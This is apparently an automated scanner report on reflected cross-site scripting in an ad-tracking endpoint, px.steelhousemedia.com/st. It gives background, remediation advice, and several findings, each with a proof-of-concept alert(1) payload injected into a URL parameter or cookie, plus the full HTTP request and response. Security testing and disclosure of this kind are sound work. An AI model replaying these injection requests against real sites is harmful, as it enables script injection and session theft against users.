Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the RM request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50c8c'-alert(1)-'b315d293650 was submitted in the RM parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&cb=1769298471044749&RM50c8c'-alert(1)-'b315d293650 HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/registry-mechanic/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: guid=bc16a550-0a32-4062-9051-3cd1c882c145; tts=eyI5MTQwXzQyIjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzQ2IjoxLCI5MTQwXzQ0IjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzE3MCI6MSwiTlJfOTE0MF80NCI6MSwiOTE0MF8yMTciOjEyOTgwNzY4MTcyNzIsIjkxNDBfNDMiOjEyOTgwNzY4MTcyNzIsIk5SXzkxNDBfMjc2IjoxLCI5MTQwXzQ2IjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzE3MyI6MSwiOTE0MF80OCI6MTI5ODA3NjgxNzI3MiwiTlJfOTE0MF80OCI6MSwiTlJfOTE0MF8xNzQiOjEsIk5SXzkxNDBfNDkiOjEsIjkxNDBfNDkiOjEzMDA2Njg4MTcyNzIsIk5SXzkxNDBfMjg1IjoxLCJOUl85MTQwXzQzIjoxLCJOUl85MTQwXzIxNyI6MSwiTlJfOTE0MF80MiI6MSwiOTE0MF8xMzkiOjEyOTgwNzY4MTcyNzIsIjkxNDBfMjcwIjoxMzAwNjY4ODE3MjcyLCJOUl85MTQwXzEyNiI6MSwiOTE0MF8xNzMiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjc2IjoxMzAwNjY4ODE3MjcyLCI5MTQwXzE3NCI6MTMwMDY2ODgxNzI3MiwiOTE0MF8xNzAiOjEyOTgwNzY4MTcyNzIsIk5SXzkxNDBfMjY5IjoxLCJOUl85MTQwXzI4NiI6MSwiOTE0MF83NSI6MTI5ODA3NjgxNzI3MiwiOTE0MF8yNjkiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjg1IjoxMzAwNjY4ODE3MjcyLCI5MTQwXzI4NiI6MTMwMDY2ODgxNzcwMywiTlJfOTE0MF83NSI6MSwiTlJfOTE0MF8xMzkiOjEsIjkxNDBfMTI2IjoxMjk4MDc2ODE3MjcyLCJzdGlja3lJZF8yOSI6bnVsbCwiTlJfOTE0MF8yNzAiOjF9
( function(){ if(!used) var used = Array(); var splitTagRequestURL = 'http://px.steelhousemedia.com/st?aid=9140&cb=1769298471044749&RM50c8c'-alert(1)-'b315d293650'; var base_url = 'http://pixel.rubiconproject.com/tap.php?v=5668|1|15'; var secure_url = 'https://pixel.rubiconproject.com/tap.php?v=5668|1|15'; var prot=(window.location.protocol=='https:')?'ht ...[SNIP]...
The value of the SD request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c19b1'-alert(1)-'d53eef7e1df was submitted in the SD parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&cb=6446245526894927&SDc19b1'-alert(1)-'d53eef7e1df HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 P3P: CP="IDC DSP COR" Set-Cookie: checkCookie=success;Domain=.steelhousemedia.com Expires: Thu, 01-Jan-1970 00:00:00 GMT Connection: close
(function() { steelhouse = { cadd: function(obj, etype, fn, cap) { cap = cap || false; if (obj.addEventListener) obj.addEventListener(etype, fn, cap); else if (obj.attachEvent) obj.attachEvent("on" + etype, fn); }, cload: function() { var st = document.createElement('script'); var sturl = 'px.steelhousemedia.com/st?aid=9140&SDc19b1'-alert(1)-'d53eef7e1df&cb=1300669122759462&ce=1'; st.type = 'text/javascript'; st.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + sturl; var list=document.getElementsByTagName('script');
The value of the SD&cb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d432'-alert(1)-'ab23141de85 was submitted in the SD&cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&SD&cb=13006688171684048d432'-alert(1)-'ab23141de85&ce=1 HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: checkCookie=success
( function(){ if(!used) var used = Array(); var splitTagRequestURL = 'http://px.steelhousemedia.com/st?aid=9140&SD&cb=13006688171684048d432'-alert(1)-'ab23141de85&ce=1'; var base_url = 'http://px.steelhousemedia.com/st?aid=9140&SD&cb=1300669123465877&sfsr=286&inr=1'; var secure_url = 'https://px.steelhousemedia.com/st?aid=9140&SD&cb=13006691234650&sfsr=286& ...[SNIP]...
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 35d1d'-alert(1)-'ec8d8e6c773 was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=914035d1d'-alert(1)-'ec8d8e6c773&cb=6446245526894927&SD HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 P3P: CP="IDC DSP COR" Set-Cookie: checkCookie=success;Domain=.steelhousemedia.com Expires: Thu, 01-Jan-1970 00:00:00 GMT Connection: close
(function() { steelhouse = { cadd: function(obj, etype, fn, cap) { cap = cap || false; if (obj.addEventListener) obj.addEventListener(etype, fn, cap); else if (obj.attachEvent) obj.attachEvent("on" + etype, fn); }, cload: function() { var st = document.createElement('script'); var sturl = 'px.steelhousemedia.com/st?aid=914035d1d'-alert(1)-'ec8d8e6c773&SD&cb=1300669122153416&ce=1'; st.type = 'text/javascript'; st.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + sturl; var list=document.getElementsByTagName('script') ...[SNIP]...
The value of the cb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aaec2'-alert(1)-'78dff0394c8 was submitted in the cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&cb=1769298471044749aaec2'-alert(1)-'78dff0394c8&RM HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/registry-mechanic/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: guid=bc16a550-0a32-4062-9051-3cd1c882c145; tts=eyI5MTQwXzQyIjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzQ2IjoxLCI5MTQwXzQ0IjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzE3MCI6MSwiTlJfOTE0MF80NCI6MSwiOTE0MF8yMTciOjEyOTgwNzY4MTcyNzIsIjkxNDBfNDMiOjEyOTgwNzY4MTcyNzIsIk5SXzkxNDBfMjc2IjoxLCI5MTQwXzQ2IjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzE3MyI6MSwiOTE0MF80OCI6MTI5ODA3NjgxNzI3MiwiTlJfOTE0MF80OCI6MSwiTlJfOTE0MF8xNzQiOjEsIk5SXzkxNDBfNDkiOjEsIjkxNDBfNDkiOjEzMDA2Njg4MTcyNzIsIk5SXzkxNDBfMjg1IjoxLCJOUl85MTQwXzQzIjoxLCJOUl85MTQwXzIxNyI6MSwiTlJfOTE0MF80MiI6MSwiOTE0MF8xMzkiOjEyOTgwNzY4MTcyNzIsIjkxNDBfMjcwIjoxMzAwNjY4ODE3MjcyLCJOUl85MTQwXzEyNiI6MSwiOTE0MF8xNzMiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjc2IjoxMzAwNjY4ODE3MjcyLCI5MTQwXzE3NCI6MTMwMDY2ODgxNzI3MiwiOTE0MF8xNzAiOjEyOTgwNzY4MTcyNzIsIk5SXzkxNDBfMjY5IjoxLCJOUl85MTQwXzI4NiI6MSwiOTE0MF83NSI6MTI5ODA3NjgxNzI3MiwiOTE0MF8yNjkiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjg1IjoxMzAwNjY4ODE3MjcyLCI5MTQwXzI4NiI6MTMwMDY2ODgxNzcwMywiTlJfOTE0MF83NSI6MSwiTlJfOTE0MF8xMzkiOjEsIjkxNDBfMTI2IjoxMjk4MDc2ODE3MjcyLCJzdGlja3lJZF8yOSI6bnVsbCwiTlJfOTE0MF8yNzAiOjF9
( function(){ if(!used) var used = Array(); var splitTagRequestURL = 'http://px.steelhousemedia.com/st?aid=9140&cb=1769298471044749aaec2'-alert(1)-'78dff0394c8&RM'; var base_url = 'http://pixel.rubiconproject.com/tap.php?v=5668|1|15'; var secure_url = 'https://pixel.rubiconproject.com/tap.php?v=5668|1|15'; var prot=(window.location.protocol=='https:')? ...[SNIP]...
The value of the ce request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 431aa'-alert(1)-'3f3991e7c9d was submitted in the ce parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&SD&cb=1300668817168404&ce=1431aa'-alert(1)-'3f3991e7c9d HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: checkCookie=success
( function(){ if(!used) var used = Array(); var splitTagRequestURL = 'http://px.steelhousemedia.com/st?aid=9140&SD&cb=1300668817168404&ce=1431aa'-alert(1)-'3f3991e7c9d'; var base_url = 'http://px.steelhousemedia.com/st?aid=9140&SD&cb=1300669123877316&sfsr=286&inr=1'; var secure_url = 'https://px.steelhousemedia.com/st?aid=9140&SD&cb=1300669123877366&sfsr=286&inr ...[SNIP]...
1.7. http://px.steelhousemedia.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://px.steelhousemedia.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70419'-alert(1)-'659506232c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&cb=6446245526894927&SD&70419'-alert(1)-'659506232c6=1 HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 P3P: CP="IDC DSP COR" Set-Cookie: checkCookie=success;Domain=.steelhousemedia.com Expires: Thu, 01-Jan-1970 00:00:00 GMT Connection: close
(function() { steelhouse = { cadd: function(obj, etype, fn, cap) { cap = cap || false; if (obj.addEventListener) obj.addEventListener(etype, fn, cap); else if (obj.attachEvent) obj.attachEvent("on" + etype, fn); }, cload: function() { var st = document.createElement('script'); var sturl = 'px.steelhousemedia.com/st?aid=9140&SD&70419'-alert(1)-'659506232c6=1&cb=1300669123130738&ce=1'; st.type = 'text/javascript'; st.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + sturl; var list=document.getElementsByTagName('script'); ...[SNIP]...
The value of the guid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ee93'-alert(1)-'98cfe9689ae was submitted in the guid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?aid=9140&SD&cb=1300668817273454&sfsr=286&inr=1 HTTP/1.1 Host: px.steelhousemedia.com Proxy-Connection: keep-alive Referer: http://www.pctools.com/spyware-doctor/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: guid=bc16a550-0a32-4062-9051-3cd1c882c1457ee93'-alert(1)-'98cfe9689ae; tts=eyJOUl85MTQwXzQ2IjoxLCI5MTQwXzQyIjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzQ0IjoxLCJOUl85MTQwXzE3MCI6MSwiOTE0MF80NCI6MTI5ODA3NjgxNzI3MiwiTlJfOTE0MF8yNzYiOjEsIjkxNDBfNDMiOjEyOTgwNzY4MTcyNzIsIjkxNDBfMjE3IjoxMjk4MDc2ODE3MjcyLCI5MTQwXzQ2IjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzE3MyI6MSwiTlJfOTE0MF8xNzQiOjEsIk5SXzkxNDBfNDgiOjEsIjkxNDBfNDgiOjEyOTgwNzY4MTcyNzIsIk5SXzkxNDBfNDkiOjEsIjkxNDBfNDkiOjEzMDA2Njg4MTcyNzIsIk5SXzkxNDBfMjg1IjoxLCJOUl85MTQwXzQzIjoxLCJOUl85MTQwXzIxNyI6MSwiTlJfOTE0MF80MiI6MSwiOTE0MF8xMzkiOjEyOTgwNzY4MTcyNzIsIjkxNDBfMjcwIjoxMzAwNjY4ODE3MjcyLCJOUl85MTQwXzEyNiI6MSwiOTE0MF8xNzMiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjc2IjoxMzAwNjY4ODE3MjcyLCI5MTQwXzE3NCI6MTMwMDY2ODgxNzI3MiwiTlJfOTE0MF8yNjkiOjEsIjkxNDBfMTcwIjoxMjk4MDc2ODE3MjcyLCJOUl85MTQwXzI4NiI6MCwiOTE0MF83NSI6MTI5ODA3NjgxNzI3MiwiOTE0MF8yNjkiOjEzMDA2Njg4MTcyNzIsIjkxNDBfMjg1IjoxMzAwNjY4ODE3MjcyLCJOUl85MTQwXzc1IjoxLCI5MTQwXzI4NiI6MTMwMDY2ODgxNzI3MiwiTlJfOTE0MF8xMzkiOjEsIjkxNDBfMTI2IjoxMjk4MDc2ODE3MjcyLCJzdGlja3lJZF8yOSI6bnVsbCwiTlJfOTE0MF8yNzAiOjF9